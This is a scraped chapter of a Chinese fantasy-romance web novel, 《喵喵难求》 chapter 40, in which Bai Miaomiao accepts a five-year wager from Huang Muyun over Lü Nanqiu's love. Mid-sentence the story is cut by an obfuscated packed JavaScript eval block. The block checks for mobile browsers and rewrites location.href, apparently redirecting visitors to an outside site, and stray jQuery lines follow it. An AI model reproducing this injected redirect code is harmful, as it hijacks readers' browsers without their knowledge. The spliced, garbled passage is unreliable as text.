40. 040

作品:《喵喵难求

    “我走了,你仔细想想,不妨与我赌上一赌。”黄暮云说完,恭恭敬敬的拱手离去,任由手臂上的伤口往下滴血。


    白淼淼望着那一串血痕,心里忽然涌起说不出的不安慌乱。


    刀剑无眼,潜意识里,她好害怕流血的人会是吕南秋。


    她忘不掉寻到他那会儿,他浑身是血,气息微弱的躺在那里等死的模样。


    白淼淼扬声冲着他的背影说:“即便同你赌,我也不会输!”


    黄暮云脚步停住,偏过头,嘴角淡淡勾起。


    “我和你赌,不是因为你说的狗屁真心瞬息万变!”白淼淼深呼吸,平静道,“我想要天下人认可妖与人一样,并无不同,我们相爱了就会厮守一辈子,和天下所有的有情人一样。”


    黄暮云哼笑了声:“有情不在朝朝暮暮,分开后,也许你会发现自己并不喜欢他,于他的那丁点好感不过是一时兴起。”


    白淼淼脸色发沉,心里的不悦达到最高点,“我看你还想再挨一鞭子。”


    白淼淼指尖凝出灵力,灵力盘旋在她身侧,大有一声令下朝那人劈头盖脸而去。


    黄暮云这下学乖了,撑起周身屏障,含笑说:“一鞭子倒也不必,在下不过是担心姑娘遇人不淑,错付真心。”


    白淼淼忍着怒气,挖苦道:“我喜欢他是错付真心,难道我要喜欢你才不算是错付?”


    黄暮云偏过头停顿数秒,笑了。


    他认真望向白淼淼,语气温柔,回道:“那就看你走五年,他会不会变心了。”


    五年对妖来说,只是漫长岁月里的一点点插曲。


    白淼淼也很好奇,五年之后,吕南秋会如何选择,是娶一个妖,还是杀一只妖?


    白淼淼斜睨他一眼,一饮而尽杯中酒,应道:“好啊,我就和你打这个赌,就赌五年之后,我与他还相爱,我愿与他并肩抵挡风风雨雨。”


    她笃定地瞧着他,居高临下地看着他。


    黄暮云在她的视线中,回过身,并无真心的接道:“愿你得偿所愿。”


    “好啊。”白淼淼轻轻笑了下,压低语气,说道:“从来都是我愿不愿意,才轮不到他愿不愿意。”


    黄暮云略略颔首做了回应,兀自离开竹园。


    竹园重新安静下去,白淼淼望着那摊蔓延到月洞门外的血迹,思绪渐渐飘远。


    若非特殊情况,白淼淼是不动手的,这些年见过的血仅限伤患,如此伤害一个人类实属例外。


    最重要的是,她属实没想到,黄暮云竟然这样弱!


    明明那般自信地抬手,可又偏偏没抵挡的住她那一下子,这事也挺稀奇。


    白淼淼回忆起他当时的神情,又感觉他好像真的能接下那一下,只是临时出了意外。


    念头一转,白淼淼的注意力又回到吕南秋身上,想想要分开一阵子,的确还有点舍不得,心里有些形容不出的惆怅。


    “我的天,我睡着睡着就被你这边儿的动静惊醒,过来一看这门口也太血腥了。”黎梨捂着鼻子,在月洞门的位置东张西望,不知如何下脚,“那小贼呢?”


    白淼淼回神,无精打采的应道:“被我打跑了,我这地方太好被毛贼惦记上了。”


    “那正巧啊,你随我去别处玩呗。”黎梨兴奋道,抬手将这处血腥打扫干净,一蹦一跳地跑到白淼淼身边依偎着坐下。


    “我和你讲,外面的世界可精彩了!”黎梨说,“我们可以去逛庙会啊,特别热闹,有好多好多好多好吃的好玩的,特别有意思,我保证你会喜欢。”


    白淼淼笑了下,低头看她,“我当然知道啦,我比你早做人呀。”


    黎梨不服地撇撇嘴:“有人做了一辈子饭还做不好呢。”


    “好啊,你还数落上我了?”白淼淼眉头一蹙做凶巴巴状,作势要打她,却被她灵巧地躲开。


    黎梨笑嘻嘻地转移话题说:“你干嘛不睡觉喝酒,想你那位情郎呀?”


    “我没有。”白淼淼回道。


    “啧啧。”黎梨戏谑说,“还想敷衍我呀?我可是从未见你带陌生男性病人回家嘞。”


    “不是陌生男性病人。”白淼淼纠正说,“他是我从前的一位旧友,救过我的命。”


    黎梨恍然大悟:“原来是他呀。所以你喜欢他是在报恩?”


    是报恩,但好像也不完全是,白淼淼茫然的思索片刻,不是很确定的说:“也许吧。”


    黎梨为好友高兴,高兴不过一瞬,便沮丧的叹道:“可人妖殊途啊。”


    黄暮云那番挑拨人心的言论从白淼淼脑海里划过。


    “不过人妖殊途也没什么啦,爱了就爱了,玩了也就玩了,只是千万别走心就好。”黎梨叮嘱说。


    “为什么?”白淼淼回神,追问道。


    “因为你与他终究不是一路人啊,他是你漫长人生的插曲,或者说是消遣,但对他来说就不是了,你就是他的一辈子。”黎梨很认真的解释说。


    话音一转,她又很贴心的安慰好友说,“不过呢,你们只要当下是快乐的就足够了,他有他的一生,遇见你便已经是他特别的机缘了。”


    白淼淼听得走神,眼底闪过一丝微弱的落寞,轻轻回道:“我知道,我原本也是心血来潮,觉得他有趣而已。”


    “这天下男人多的是,姐妹想要尝个新鲜,包在我身上呀。”黎梨兴奋道,转眼便开始规划起行程。


    白淼淼一个耳朵听,一个耳朵出,时不时敷衍又认真的接几句,全程都在走神。


    她控制不住自己的思绪,满脑子都是吕南秋的名字。


    那里诚实的将两人初遇和重逢的点点滴滴汇聚成话本,在她脑子里过了一个遍。


    说舍不得吧,真的舍不得。


    说放得下吧,又觉得五年时间不过眨眼功夫,也还行。


    五年之后,谁都说不定。


    也或许就和黄暮云、黎梨说的那样,同吕南秋的一段不过是消遣,到时候,她自己就先没了兴致。


    “搬家,明天就搬家!”白淼淼忽然开口,拍板道。


    ***


    白淼淼从记忆之境出来,揉了揉胸口,深呼吸缓了缓情绪。


    原来黄暮云曾经是这样的黄暮云,那也就难怪他会抹去自己的某段回忆。


    谁还没点黑历史呢?


    对他奇怪的观感总算是有着落了。


    白淼淼反


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322093|167525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    思了下,扶着额头喃喃自语说:“我从前对人可真的太冷漠了。”


    尤其是那一鞭子,还不知道黄暮云是不是还记着仇呢。


    白淼淼揉揉酸疼的胳膊腿,很认真的想,可能他记仇。


    “是啊是啊。”正气哈欠连天的语调从旁边传过来,“刚遇见你那会儿,你就是凶巴巴的啊,我见你心里都提心吊胆的呢。”


    白淼淼朝声音处看去,正气侧躺在毛毯上,撑着脸,半眯着眼,“我吃完饭,就找不到你们了,猜你们就来这儿玩了。”


    “你看到什么了?”


    这次的回忆,黄暮云的戏份太足,摆明拿的就是心机男2的剧本,白淼淼对他的感官其实挺差的。


    总之是与现在的黄暮云差点意思,模样上也不过是七八分的像。


    “我似乎找到了黄暮云要收我为徒的原因了。”白淼淼若有所思的说。


    “吕大人是不是有情敌了?”正气不困了,表情很警惕,“是黄大佬?”


    白淼淼扁扁嘴,正气打了个响指,旋即忧愁道:“我就说么,黄心思不单纯,哎呀,吕大人危啊。”


    可怜兮兮地望着白淼淼,已然是吕南秋的一个小迷妹。


    白淼淼说不出是心虚还是什么,就是觉得头晕,伸手遮住眼,“你别乱脑补。”


    白淼淼现在情感丰富,自问还是能知道对方是哪种好感,反正黄暮云一定不是因为惜才。


    刨开所有错误答案,余下的那个就是正确答案了。


    黄暮云对她或许是有好感的。


    就是她对黄暮云的态度真的是太冷了,爱搭不理,甚至还有点嫌弃,总之是冷漠到不行。


    最关键的一点是她的情绪一直都是淡淡的,哪怕是喜欢吕南秋这件事,也不过是心绪有起伏,会为他担心,会想他,会有一切男女之间恋爱的感觉。


    只是这些情绪都太淡了,太刻意了,就好像是学走路的娃,习惯模仿大人的一举一动,在模仿中一点点长大。


    那会儿的白淼淼就是在努力模仿一个人爱另一个人的样子,充其量只是羁绊,只有在同黄暮云将要结束交谈的时候,流露出了点明显的、鲜活的胜负欲与好奇心。


    不过总的来说,她对吕南秋和黄暮云的态度一个是天一个是地,一个如沐夏风,一个如淋冬雨,天差地别。


    白淼淼撑着腮,陷入沉默。


    她是刻意了点,但吕南秋的反应绝不是刻意,他是真的在喜欢她。


    半晌,白淼淼长叹一声,“可我真的觉得,我挺喜欢吕南秋的啊。”


    “唔,我也觉得呀,那你们还不快点在一起。”正气不明前因,但还是期待地搓搓手,“再慢点,我担心你被黄撬走。”


    白淼淼扶额无奈,好么,正气连黄大佬这个代称都不愿意说了,可见对站队吕南秋这事有多执着。


    与此同时,吕南秋终于捂着晕晕沉沉的脑袋,出现在两人面前。


    刚经历了一场极其身临其境的故事,故事的后遗症在此刻凸显出来了。


    他抚着胸口,觉得那处生疼,一呼一吸都不畅快,整个人很压抑很痛苦。


    吕南秋缓慢地坐到地上,半晌没出声。